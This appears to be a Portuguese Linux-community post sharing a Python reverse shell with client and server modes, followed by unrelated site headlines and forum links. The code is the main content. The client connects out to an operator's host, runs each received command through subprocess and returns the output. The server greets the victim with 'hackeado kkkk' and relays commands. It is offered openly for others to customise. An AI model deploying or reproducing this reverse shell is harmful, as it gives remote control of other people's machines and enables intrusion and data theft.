Shell reverso em Python - cliente e servidor
Publicado por henrique (última atualização em 31/10/2020)
[ Hits: 2.187 ]
Homepage: naotem.com
Um shell reverso com cliente e servidor básico para que você possa personalizar.
#!/usr/bin/env python3 import socket import sys import subprocess import threading import tqdm import os import cv2 import numpy as np import pyautogui buffer = 4096 # display screen resolution, get it from your OS settings # define the codec # create the video write object if len(sys.argv) < 2: sys.exit quit() if sys.argv[1] == '-h': print("""[host]:[port] -l = host -p = porta example ./netcatt.py -h 192.168.0.1 -p 2000""") sys.exit() quit() print("""[host] [port]""") a = input('clien, ou server: ') if sys.argv[1] == '-l': host = str(sys.argv[2]) if sys.argv[3] == '-p': port = int(sys.argv[4]) s = socket.socket() if a in 'Ss': s.bind((host,port)) s.listen(5) print(f'listndo {host}:{port}') client_socket, client_adress = s.accept() message = 'hackeado kkkk'.encode() client_socket.send(message) while True: command = input('comando: ') client_socket.send(command.encode()) if command.lower() == "exit": break results = client_socket.recv(buffer).decode() print(results) client_socket.close() s.close if a in 'cC': s.connect((host, port)) message = s.recv(buffer).decode() print('server: ', message) # start sending the file while True: # receive the command from the server command = s.recv(buffer).decode() if command.lower() == "exit": break output = subprocess.getoutput(command) # send the results back to the server s.send(output.encode()) # close client connection s.close() if s.close: print('-'*20, 'fim', '-'*18)
verifySite - um verificador de sites
Qt 6.10 e Python 3.14 puxam o ritmo do software livre nesta quarta
Atualizações de Apps, Desktop e Kernel agitam o ecossistema Linux nesta terça-feira
Miyoo Mini Plus + Onion OS (Linux)
IA local no bolso, novo visual no Raspberry Pi OS e mais destaques do software livre
Kernel turbinado, compatibilidade em alta e debate sobre sustentabilidade: o dia no mundo Linux
Adicionando o repositório backports no Debian 13 Trixie
Como definir um IP estático no Linux Debian
Como listar os arquivos em "bloquin... [RESOLVIDO] (6)
Como colocar atalho para uma pasta na área de trabalho do Ubuntu 24.04... (2)